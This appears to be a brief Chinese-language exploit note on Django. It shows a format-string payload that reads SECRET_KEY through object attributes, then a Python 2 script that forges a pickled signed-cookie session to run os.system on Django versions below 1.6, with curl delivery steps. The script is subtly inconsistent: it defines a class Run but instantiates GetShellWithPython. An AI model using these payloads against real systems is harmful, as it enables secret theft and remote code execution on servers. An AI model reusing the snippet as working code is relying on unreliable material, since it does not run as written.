1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| 格式化字符串漏洞{} 通过'{}'.format(param) param输入为{} 内接django变量名可以读取变量值 通过{user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY} 读取secretkey 由于版本低于1.6 可以通过session反序列化RCE # coding: utf-8 from django.contrib.sessions.serializers import PickleSerializer from django.core import signing from django.conf import settings
settings.configure(SECRET_KEY='xxxxxxxxxxxxxxxxxxx')
class Run(object): def __reduce__(self): import os return (os.system,('xxxxxx',))
sess = signing.dumps( obj=GetShellWithPython(), serializer=PickleSerializer, salt='django.contrib.sessions.backends.signed_cookies' ) import urllib2 import cookielib
url = 'http://url' headers = {'Cookie':'sessionid="%s"' %(sess)} request = urllib2.Request(url,headers = headers)
搭建目标对应版本django django startserver hello cd hello/hello 在django上下文环境执行该脚本实现RCE
也可以自行通过Curl发送Cookie curl url --cookie "sessionid=cookie"
|